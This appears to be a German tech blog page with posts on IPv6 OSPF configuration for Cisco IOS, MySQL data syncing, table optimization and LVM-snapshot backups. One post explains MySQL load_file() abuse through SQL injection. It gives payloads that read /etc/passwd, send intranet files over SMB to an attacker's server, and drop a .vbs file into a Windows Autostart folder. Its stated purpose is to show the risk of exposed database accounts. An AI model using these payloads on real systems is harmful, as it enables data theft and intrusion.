OSPF Konfiguration IPv6 für Cisco IOS
Aus gegebenem Anlass hier mal ein Beispiel einer OSPF Konfiguration für Cisco IOS. Das ist wirklich relativ einfach. Hier nochmal alle Schritte zum nachvollziehen:
Router1
Router1(config)# interface fastethernet 0/0
Router1(config-if)#ipv6 address 2001:1ad8::1/126
Router2
Router2(config)#int fa 0/0
Router2(config-if)#ipv6 address 2001:1ad8::2/126
Als nächstes überprüfen wir die IPv6-Konnektivität mit ping:
Router2#ping ipv6 2001:1ad8::1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 2001:1AD8::1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 8/10/20 ms
Wie Ihr sehen könnt, die Konnektivität ist da, schauen wir uns nun den OSPF Part an. Als erstes setzen wir eine Nullroute um und konfigurieren OSPF auf Router 1
Router1(config)#ipv6 route 2001:1ad8:500::/64 null 0
Router1(config)# interface fa 0/0
Router1(config-if)#ipv6 ospf 1 area 0
Router1(config-if)#ipv6 router ospf 1
Router1(config-rtr)#redistribute static
Hiermit haben wir das Fastethernet 0/0 Interface in der OSPF Area 0 konfiguriert und redistribuieren statische IPv6 Routen in IPv6 OSPF.
Das ganze wiederholen wir auf dem 2 Router:
Router2(config)#int fastethernet 0/0
Router2(config-if)#ipv6 ospf 1 area 0
Dies enabled FastEthernet 0 / 0 im OSPF-Bereich 0. Nun verifizieren wir die IPv6-Router OSPF neighborship
Router2#show ipv6 ospf neighbor
Neighbor ID Pri State Dead Time Interface ID Interface
172.16.1.1 1 FULL/BDR 00:00:31 4 FastEthernet0/0
Wie wir erkennen können, agiert der Router 1 als Backup Designated Router und alle Daten sind geladen (FULL Status). Prüfe die Route
Router2#sh ipv6 route ospf | include ^O
OE2 2001:1AD8:500::/64 [110/20]
Wir erhalten ein / 64 Netz als externe OSPF Route, alles funktioniert nun wie erwartet.
mehrMySQL verteilte Daten
Anbei eine kleine Idee für alle, die verteilte Datenhaltung haben, und dazu eine architektonisch recht einfache Synchronisation brauchen. Manchmal kommt aus diversen Gründen ein Replikationsmechanismus nicht in Frage. Dafür nun die folgende Idee. Wir nutzen dabei aus, dass MySQL bei zusammengesetzten Indizes einen AUTO_INCREMENT-Wert pro distinktem Schlüsselpräfix zählt.
Das heißt ganz konkret: Wir legen einen Primär-Schlüssel aus zwei Spalten zusammen. In der ersten Spalte verwenden wir einen sehr kleinen Wert, der die Quelle der Daten kennzeichnet: Source tinyint unsigned NOT NULL; Den zweiten Teil legen wir als einfache ID int unsigned NOT NULL AUTO_INCREMENT an. Und ein Timestamp-Wert bietet sich für das Triggern der Updates an. Unsere Tabellen haben dann mindestens folgende Form:
CREATE TABLE `<table_name>` ( `Source` tinyint unsigned NOT NULL, `ID` int unsigned NOT NULL AUTO_INCREMENT, `Timestamp` timestamp, PRIMARY KEY (`Source`, `ID`) );
MySQL wird also die Spalte `ID` pro distinktem Wert der Spalte `Source` inkrementieren. So können wir nun den jeweiligen Applikationen eine eindeutige Source-Kennung zuweisen, z.B. eine Filial-Nummer oder eine Server-Nummerierung. Der Synchronisationsalgorithmus kann dann die jeweiligen Datenbanken zusammentragen, ohne dass es zu Konflikten in den Schlüsseln kommen kann.
Im speziellen Fall “Two-Way-Synchronization“, der zum Beispiel offline- und online-Datenerfassungen abbilden könnte, werden geänderte und neue Datensätze von jeweils einer zur anderen Datenbank geschrieben. In beiden Fällen läuft die Synchronisation mit der jeweiligen Source-Kennung, sodass auch gelöschte Sätze in der Zieldatenbank gefunden und ebenfalls gelöscht werden kann, ohne dass es zu Doppeldeutigkeiten kommt.
load_file() spielereien
Da mancher Orts noch das Verständnis fehlt, warum es eben nicht nur ein paar Datensätze betrifft, wenn jemand Zuriff über einen SQL Account hat. Möchte ich hier mal kurz aufzeigen welche Möglichkeiten prinzipiell zur Verfügung stehen, wenn man Zugriff auf einen MySQL Account hat. Eine sehr schöne und einfache Variante ist mittels load_file() und angeschlossene.
Grundlage ist z.b. folgender Query:
select 1,LOAD_FILE("/etc/passwd");
Wenn man das Ganze in einem SQL Injection verarbeitet, würde unter bestimmten Bedingungen der Browser dann über die Seite beispielsweise folgendes anzeigen:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
Ok, da kommt der erste und sagt das File muss Lese- und oder Schreibberechtigungen für Alle oder den Dienst besitzen … hier soll es uns um das Prinzip gehen und ja er hat recht. Im einfachsten Falle suche ich mir bekannte Konfigurationsfiles, .htaccess Dateien etc. und versuche die auszulesen und Butter bei die Fische in 10 von 100 Fällen wird man fündig. Schlampig gesetzte Berechtigungen öffnen einem hier Tür und Tor. Aber an dieser Stelle ist ja noch nicht aller Tage Abend …
select load_file("\\\\[ip | server_name]\\filename");
select 1 INTO OUTFILE "\\\\[ip | server_name]\\filename]";
Sind zwei weitere schöne Möglichkeiten um ans Ziel zu gelangen, im ersteren Falle ziehen wir uns über das SMB Protokoll eine beliebige Datei im zweiten Falle schreiben wir Daten über das SMB Protokoll an einen uns genehmen Platz und hey machen wir uns nichts vor – richtig konfigurierte Firewalls blockieren immer nur den eingehenden Verkehr auf ungenutzten Ports und erlauben immer sämtlichen Verkehr vom Host weg!
Folgendes nicht unalltägliche Beispielszenario: Eine Firma betreibt einen Webserver auf dem Intranet und Webpräsenz zu gleich laufen, sprich ich kann über ein SQL Injection an allen Sicherheitsmechanismen vorbei Daten in das interne Netz schieben oder sie von dort downloaden.
UNION all select 1,2,load_file("\\\\intranet\\filename"),3,4 INTO OUTFILE "\\\\mein_server\\test";
Da höre ich schon wieder den nächsten Quäker, aber ich weiss doch gar nicht welche Netze … doch die MySQL Variablen report_host und oder hostname geben uns Aufschluss, ansonsten sind wir alle schlau genug zu wissen, welche Netze für den privaten Gebrauch reserviert sind. Wir waren gerade beim Netzwerk … da fällt mir doch noch was ein, DNS Abfrage für Datenbänker – host und dig kann jeder. Auch eine Möglichkeit den internen DNS nach Mustern in der Hostvergabe abzufragen um herauszubekommen welche Netze sich in der Tiefe befinden.
select ‘huhu welt.’ INTO OUTFILE ‘\\\\domain.net\\?save.txt’
Eine interessantes Anwendungsbeispiel ist z.B. in das Startverzeichnis eines Windows Host eine .vbs oder .cmd Datei abzulegen …
select ‘msgbox “pew pew”‘ INTO OUTFILE ‘\\\\192.168.0.x\\c$\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\grussundkuss.vbs’;
Ok und wer immer noch nicht genug hat, der läd sich eine Shell oder überschreibt Dateien.
mehrMySQL – Shell Script Optimize über alle Tabellen
Da es keinen Befehl gibt, wo man in allen Datenbanken gleich alle Tabellen optimieren kann, hier mal ein Script zum erleichtern …
#!/bin/bash
for db in $(echo "SHOW DATABASES;" | mysql -u$1 --password=$2 | grep -v -e "Database" -e "information_schema")
do
TABLES=$(echo "USE $db; SHOW TABLES;" | mysql -u$1 --password=$2 | grep -v Tables_in_)
echo "Switching to database $db"
for table in $TABLES
do
echo -n " * Optimizing table $table ... "
echo "USE $db; OPTIMIZE TABLE $table" | mysql -u$1 --password=$2 >/dev/null
echo "done."
done
done
mehr
MySQL Backup Strategien: LVM-Snapshots
Master – Slave mit LVM
Vorteile
- Restorezeit ist wesentlich geringer bei großen Datenbanken und vielen Indexen (abhängig von Lese- und Netzwerggeschwindigkeit).
- Geringe Ausfallzeit des Servers – keine Ausfallzeit des Arbeitsbetrieb
- Der Master kann unbeeinträchtigt seine Arbeit vortsetzen.
Nachteile
- “Eben mal” eine Tabelle oder Daten zurückspielen geht nicht, hierzu müssen wir ein kompletten Restore auf ein weiteres System durchführen, um dort mittels mysqldump die Daten zu extrahieren.
Szenario:
Wir benötigen mindestens 2 MySQL Instanzen die miteinander replizieren, damit verringern wir die Ausfallzeit auf 0. Also jedes beliebige Master – Slave oder Master – Master Szenaria, wobei wir am besten einen Slave für das Backup einrichten. Die Slave Instanz kann sich durchaus, wenn es Plattenplatz, CPU, RAM sowie die IO Werte zulassen, auf dem selben Host befinden. Eine Anleitung wie man eine Replikation aufsetzt findet man hier. Natürlich funktioniert das Ganze auch ohne Replikation, allerdings hat man dann, je nach Datenbank, eine Ausfallzeit von 10s – x Minuten. Wichtig, die my.cnf muss so angepasst werden, dass sich die Daten auf einem Logical Volumen (LVM) befinden. Darüber hinaus benötigen wir in der Volumengroup genügend Restplatz, damit uns der Snapshot nicht während des Backups vollläuft. Hier gibt es keine Faustformel das muss man einfach ausrechnen oder probieren.
In meinen Augen hat es sich relativ nützlich erwiesen die Konfiguration der MySQL Instanz wie folgt aufzugliedern:
- Das LV wird in ein Verzeichnis gemountet, beispielsweise /data.
- Unterhalb dieses Verzeichnisses werden unterschiedliche Verzeichnisse für binlogs, relaylogs, tmp, data sowie error und slowlog angelegt.
Das vereinfacht das Sichern insofern, dass wir hier nur bestimmte Verzeichnisse wegsichern müssen. Es ist auch keine schlechte Idee auf dem Slave das Binlog zu aktivieren und diese ebenfalls zu sichern (z.B. stündlich), damit wir ein sogenanntes Point in Time Recovery machen können (wird an einem späteren Zeitpunkt abgehandelt). Unsere my.cnf sieht dann an den entsprechenden Punkten wie folgt aus:
relay-log = /data/mysql-relaylog/relay.log relay-log-info-file = /data/mysql-relaylog/relay-log.info relay-log-index = /data/mysql-relaylog/relay-log.index log_error = /data/mysql-log/mysql.err log-slow-queries = /data/mysql-log/slow_queries.log log_bin = /data/mysql-binlog/mysql-bin.log innodb_log_group_home_dir = /data/mysql-data innodb_log_arch_dir = /data/mysql-data innodb_data_home_dir = /data/mysql-data datadir = /data/mysql-data
Für den Fall, dass wir einen weiteren Slave oder Master wieder herstellen müssen, benötigen wir noch die Postion und das Binlogfile, damit wir die Replikation an diesem Punkt wieder aufsetzen können. Im Prinzip gehen wir im weiteren wie folgt vor: wir stoppen den MySQL Dienst, dann ermitteln wir Binlog File und Position des Masters, legen einen Snapshot an, starten den MySQL Dienst und dann können wir das Backup vom Snapshot starten. Das Vorabscript für den Backup Dienst könnte wie folgt aussehen – bitte beachten, die Pfade und Variablen an die eigene Umgebung anpassen (Volumen und Volumengroupbezeichnungen zum Beispiel).
#!/bin/sh
# Groesse des Snapshots
GROESSE=20G
# Name des Snapshot
NAME=mysql-backup
# Geraetedateiname
# hier das LVS anpassen
GERAET=/dev/db/data
# Mount-Punkt
MOUNT=/backup
# Spiegelgeraet
SPIEGEL=/dev/db/mysql-backup
# Stoppe Datenbank
echo
echo "Shutting down lively database `date`"
echo
/etc/init.d/mysql stop
#gegebenen Fall diesen Wert anpassen, wenn die Datenbank länger braucht
sleep 3
# Erzeuge Restore Daten für Master - Master
name=$(tail -1 /data/mysql-binlog/mysql-bin.index)
size=$(stat -c '%s' ${name})
echo "binlog Position $name $size" > /data/mysql-data/db_restore.info
# Erzeuge Spiegel
lvcreate --size $GROESSE --snapshot --name $NAME $GERAET
ERGEBNIS1=`echo $?`
if [ $ERGEBNIS1 -ne 0 ]; then
echo
echo
echo " -- F E H L E R -- "
echo
echo " Starte Datenbank ohne Backup `date`"
echo
echo
/etc/init.d/mysql start
exit 22
fi
sleep 3
# starte Mysql wieder
echo
echo "Restarting lively database `date`"
echo
/etc/init.d/mysql start
# pruefe auf mount und mounte Spiegel oder exit
mount | grep /backup
ERGEBNIS2=`echo $?`
if [ $ERGEBNIS2 -eq 0 ]; then
echo
echo
echo " -- F E H L E R -- "
echo
echo " Der Mount besteht bereits"
echo
echo
exit 23
else
mount -o ro $SPIEGEL $MOUNT
fi
exit 0
Das Resultat an dieser Stelle sollte ein Read only eingemounteter Snapshot unter /backup sein. Dem Backup Programm weisen wir jetzt nur noch an, die Verzeichnisse:
/backup/mysql-data /backup/mysql-relaylog
zu sichern.
mehrMySQL – Recovery
Letztens bekam ich kurzzeitig einen Herzaussetzer, weil ich beim Restore des Datenbankbackups (LVM) bemerkte, dass doch die ib_logfiles nicht mit zurückgesichert wurden. Nachdem ich kurz nachgeschaut und fetsgestellt habe, dass die im Standardverzeichnis unter /var/lib/mysql herumdümpelten und nicht auf dem Logical Volume wo sie gesichert werden, wurde es erstmal finster ums Hirn. Hmm das passiert und zwar jeden Tag und wenn es solche Momente nicht gäbe, wäre ja alles irgendwie zu einfach …
Was tun, sprach Zeus?
Die Antwort findet sich in der MySQL Dokumentation. Allerdings für meine Begriffe völlig zu unrecht in “2 Nebensätzen” abgehandelt und wenn es brennt findet man das sowieso nie. Also aus diesen Anlass hier ein paar hilfreiche Tipps, Tricks und Anwendungsbeispiele um gecrashte, falsch gesicherte und sonstwie misshandelte Tabellen oder MySQL Instanzen wiederherzustellen, aber der Reihe nach.
mehr
Letzte Kommentare